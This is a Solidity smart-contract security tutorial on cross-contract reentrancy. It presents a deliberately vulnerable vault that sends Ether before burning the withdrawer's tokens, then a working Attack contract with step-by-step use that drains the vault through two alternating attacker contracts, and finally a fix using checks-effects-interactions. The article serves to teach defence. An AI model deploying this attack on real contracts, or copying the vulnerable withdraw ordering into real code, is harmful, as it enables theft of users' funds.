Contents

Solidity Smart Contract Security By Example #05: Cross-Contract Reentrancy


Originally published in Valix Consulting’s medium.

Smart contract security is one of the biggest impediments toward the mass adoption of the blockchain. For this reason, we are proud to present this series of articles regarding Solidity smart contract security to educate and improve the knowledge in this domain to the public.

Cross-contract reentrancy typically happens when multiple contracts share the same state variable, and some contracts update that variable insecurely. This type of reentrancy might be considered a complicated issue since it is often challenging to discover.

In this article, you will learn how the cross-contract reentrancy attack happens and how to prevent it. Enjoy reading. 😊

You can find all related source code at 👉 https://github.com/serial-coder/solidity-security-by-example/tree/main/05_cross_contract_reentrancy.

Disclaimer:

The smart contracts in this article are used to demonstrate vulnerability issues only. Some contracts are vulnerable, some are simplified for minimal, some contain malicious code. Hence, do not use the source code in this article in your production.

Nonetheless, feel free to contact Valix Consulting for your smart contract consulting and auditing services. 🕵


Table of Contents


.    .    .

The Dependencies


The code below contains dependencies required by the InsecureMoonVault and the FixedMoonVault contracts. The dependencies include ReentrancyGuard abstract contract (lines 3–12), IMoonToken interface (lines 14–23), and MoonToken contract (lines 25–121).

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
pragma solidity 0.8.17;

abstract contract ReentrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

interface IMoonToken {
    function transferOwnership(address _newOwner) external;
    function transfer(address _to, uint256 _value) external returns (bool success);
    function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
    function balanceOf(address _owner) external view returns (uint256 balance);
    function approve(address _spender, uint256 _value) external returns (bool success);
    function allowance(address _owner, address _spender) external view returns (uint256 remaining);
    function mint(address _to, uint256 _value) external returns (bool success);
    function burnAccount(address _from) external returns (bool success);
}

contract MoonToken {
    uint256 private constant MAX_UINT256 = type(uint256).max;
    mapping (address => uint256) public balances;
    mapping (address => mapping (address => uint256)) public allowed;

    string public constant name = "MOON Token";
    string public constant symbol = "MOON";
    uint8 public constant decimals = 18;

    uint256 public totalSupply;
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(owner == msg.sender, "You are not the owner");
        _;
    }

    function transferOwnership(address _newOwner) external onlyOwner {
        owner = _newOwner;
    }

    function transfer(address _to, uint256 _value)
        external
        returns (bool success)
    {
        require(balances[msg.sender] >= _value);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }

    function transferFrom(
        address _from,
        address _to,
        uint256 _value
    ) external returns (bool success) {
        uint256 allowance_ = allowed[_from][msg.sender];
        require(balances[_from] >= _value && allowance_ >= _value);

        balances[_to] += _value;
        balances[_from] -= _value;

        if (allowance_ < MAX_UINT256) {
            allowed[_from][msg.sender] -= _value;
        }
        return true;
    }

    function balanceOf(address _owner)
        external
        view
        returns (uint256 balance)
    {
        return balances[_owner];
    }

    function approve(address _spender, uint256 _value)
        external
        returns (bool success)
    {
        allowed[msg.sender][_spender] = _value;
        return true;
    }

    function allowance(address _owner, address _spender)
        external
        view
        returns (uint256 remaining)
    {
        return allowed[_owner][_spender];
    }

    function mint(address _to, uint256 _value)
        external
        onlyOwner  // MoonVault must be the contract owner
        returns (bool success)
    {
        balances[_to] += _value;
        totalSupply += _value;
        return true;
    }

    function burnAccount(address _from)
        external
        onlyOwner  // MoonVault must be the contract owner
        returns (bool success)
    {
        uint256 amountToBurn = balances[_from];
        balances[_from] -= amountToBurn;
        totalSupply -= amountToBurn;
        return true;
    }
}
Dependencies.sol


The ReentrancyGuard contains the noReentrant modifier that is used to prevent reentrancy attacks. The noReentrant (lines 6–11) is a simple lock that allows only a single entrance to the function applying it. If there is an attempt to do the reentrant, the transaction would be reverted by the require statement in line 7.

The IMoonToken interface defines function prototypes, enabling MoonVault contract (i.e., InsecureMoonVault in the code below) to interact with the MoonToken contract.

Lastly, the MoonToken contract is a simple ERC-20 token. Users can buy (via the deposit function in lines 13–16 in the below code) and sell (via the withdrawAll function in lines 18–27 in the below code) MOON tokens through the MoonVault contract. The MOON is a stablecoin pegged with Ether one-on-one. Whatever amount of Ether you deposit, what amount in MOON you will get.

Additionally, users can transfer their MOONs (via the transfer function in lines 50–58 in the above code) or approve the transfer allowance of their MOONs (via the approve function in lines 85–91 in the above code) to other users or smart contracts.


.    .    .

The Vulnerability


The following code describes the InsecureMoonVault contract. As mentioned earlier in the previous section, the contract allows users to:

  • Buy MOON tokens (via the insecureMoonVault.deposit() function)

  • Sell MOON tokens (via the insecureMoonVault.withdrawAll() function)

  • Transfer MOONs (via the moonToken.transfer() function)

  • Approve the transfer allowance of their MOONs (via the moonToken.approve() function)

  • Check the balances of their MOONs (via the insecureMoonVault.getUserBalance() or moonToken.balanceOf() function)


Undoubtedly, the InsecureMoonVault contract is vulnerable to a reentrancy attack. But, can you discover the issue? 👀

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity 0.8.17;

import "./Dependencies.sol";

// InsecureMoonVault must be the contract owner of the MoonToken
contract InsecureMoonVault is ReentrancyGuard {
    IMoonToken public immutable moonToken;

    constructor(IMoonToken _moonToken) {
        moonToken = _moonToken;
    }

    function deposit() external payable noReentrant {  // Apply the noReentrant modifier
        bool success = moonToken.mint(msg.sender, msg.value);
        require(success, "Failed to mint token");
    }

    function withdrawAll() external noReentrant {  // Apply the noReentrant modifier
        uint256 balance = getUserBalance(msg.sender);
        require(balance > 0, "Insufficient balance");

        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Failed to send Ether");

        success = moonToken.burnAccount(msg.sender);
        require(success, "Failed to burn token");
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) public view returns (uint256) {
        return moonToken.balanceOf(_user);
    }
}
InsecureMoonVault.sol


Since the InsecureMoonVault contract applies noReentrant modifier to the deposit and withdrawAll functions, both functions are safe from the reentrancy attack 🕵. Please refer to our previous article on the single-function reentrancy attack to understand how the insecure withdrawAll function can be exploited.

Unfortunately, the InsecureMoonVault contract in this article got another level of reentrancy in terms of complexity; we would call it: cross-contract reentrancy. 🤢

The cross-contract reentrancy begins in line 22 in the withdrawAll function. Figure 1 below illustrates how the cross-contract reentrancy attack occurs.

Figure 1. How the cross-contract reentrancy happens

Figure 1. How the cross-contract reentrancy happens


The root cause of cross-contract reentrancy attack is typically caused by having multiple contracts mutually sharing the same state variable, and some of them update that variable insecurely.


Again, both the deposit and withdrawAll functions apply the noReentrant modifier. Thus, an attacker cannot execute the reentrancy on these functions anymore.

Anyway, the withdrawAll function does not update the withdrawer’s balance (moonToken.burnAccount(msg.sender)) before sending Ethers back to the withdrawer (Step 4). Consequently, the attacker can perform the cross-contract reentrancy attack by manipulating the control flow in the Attack #1 contract’s receive function to transfer its balance (Step 5) to another contract, Attack #2 (i.e., contract instance #2 in Figure 1).

Subsequently, the attacker can trigger another transaction by invoking the attackNext function of the Attack #2 contract (Step 6) to gradually withdraw Ethers from the InsecureMoonVault contract and then transfer the Attack #2 contract’s balance to the Attack #1 contract.

To drain all Ethers locked in the InsecureMoonVault, the attacker executes the attackNext function of the Attack #1 and Attack #2 contracts alternately. Oh My! 😱

In fact, the attacker can integrate the attack step 6 into a single transaction call to automate the attack. Though, the step 6 was intentionally isolated for the understanding sake.


.    .    .

The Attack


The following code presents the Attack contract that can exploit the InsecureMoonVault contract.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
pragma solidity 0.8.17;

import "./Dependencies.sol";

interface IMoonVault {
    function deposit() external payable;
    function withdrawAll() external;
    function getUserBalance(address _user) external view returns (uint256);
}

contract Attack {
    IMoonToken public immutable moonToken;
    IMoonVault public immutable moonVault;
    Attack public attackPeer;

    constructor(IMoonToken _moonToken, IMoonVault _insecureMoonVault) {
        moonToken = _moonToken;
        moonVault = _insecureMoonVault;
    }

    function setAttackPeer(Attack _attackPeer) external {
        attackPeer = _attackPeer;
    }
    
    receive() external payable {
        if (address(moonVault).balance >= 1 ether) {
            moonToken.transfer(
                address(attackPeer), 
                moonVault.getUserBalance(address(this))
            );
        }
    }

    function attackInit() external payable {
        require(msg.value == 1 ether, "Require 1 Ether to attack");
        moonVault.deposit{value: 1 ether}();
        moonVault.withdrawAll();
    }
    
    function attackNext() external {
        moonVault.withdrawAll();
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}
Attack.sol


To exploit the InsecureMoonVault, an attacker has to deploy two Attack contracts (i.e., attack1 and attack2) and then perform the following actions:

  1. Call: attack1.attackInit() and supplies 1 Ether

  2. Call: attack2.attackNext()

  3. Alternately Call: attack1.attackNext() and attack2.attackNext() to gradually steal all locked Ethers


To understand how the Attack contract works in more detail, please refer to the attack steps depicted in Figure 1 above.

As mentioned earlier, the actions #2 and #3 can be integrated into the action #1 for an atomic attack transaction call. Nonetheless, we intentionally isolated them for the sake of understanding.


Figure 2. The attack result

Figure 2. The attack result


The result of the attack is displayed in Figure 2. As you can see, the attacker stole all locked Ethers by triggering separate transactions to the two Attack contracts alternately. 🤑


.    .    .

The Solution


The FixedMoonVault contract below is the remediated version of the InsecureMoonVault. 👨‍🔧

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pragma solidity 0.8.17;

import "./Dependencies.sol";

// FixedMoonVault must be the contract owner of the MoonToken
contract FixedMoonVault is ReentrancyGuard {
    IMoonToken public immutable moonToken;

    constructor(IMoonToken _moonToken) {
        moonToken = _moonToken;
    }

    function deposit() external payable noReentrant {  // Apply the noReentrant modifier
        bool success = moonToken.mint(msg.sender, msg.value);
        require(success, "Failed to mint token");
    }

    function withdrawAll() external noReentrant {  // Apply the noReentrant modifier
        uint256 balance = getUserBalance(msg.sender);
        require(balance > 0, "Insufficient balance");  // Check

        // FIX: Apply checks-effects-interactions pattern
        bool success = moonToken.burnAccount(msg.sender);  // Effect (call to trusted external contract)
        require(success, "Failed to burn token");

        (success, ) = msg.sender.call{value: balance}("");  // Interaction
        require(success, "Failed to send Ether");
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) public view returns (uint256) {
        return moonToken.balanceOf(_user);
    }
}
FixedMoonVault.sol


The withdrawAll function was improved to follow the checks-effects-interactions pattern to resolve the associated issue. In other words, we moved the so-called effect part (moonToken.burnAccount(msg.sender)) to line 23 to execute it before the interaction part in line 26 (msg.sender.call{value: balance}(“”)). This coding pattern guarantees that the withdrawer’s balance would be updated before sending Ethers back to the withdrawer, impeding the cross-contract reentrancy attack.

Note, even though the moonToken.burnAccount(msg.sender) statement in line 23 is interacting with the MoonToken which is an external contract, we consider that the MoonToken is trustworthy.


.    .    .

Summary


In this article, you have learned the cross-contract reentrancy vulnerability in the Solidity smart contract, how an attacker exploits the attack, and the preventive solution to resolve the issue. We hope you gain your security knowledge from our article. See you again in our upcoming article.

Again, you can find all related source code at 👉 https://github.com/serial-coder/solidity-security-by-example/tree/main/05_cross_contract_reentrancy.


.    .    .

Author Details


Phuwanai Thummavet (serial-coder), Lead Blockchain Security Auditor and Consultant | Blockchain Architect and Developer.

See the author’s profile.


.    .    .

About Valix Consulting



Valix Consulting is a blockchain and smart contract security firm offering a wide range of cybersecurity consulting services. Our specialists, combined with technical expertise with industry knowledge and support staff, strive to deliver consistently superior quality services.

For any business inquiries, please get in touch with us via Twitter, Facebook, or info@valix.io.


.    .    .

Originally published in Valix Consulting’s medium.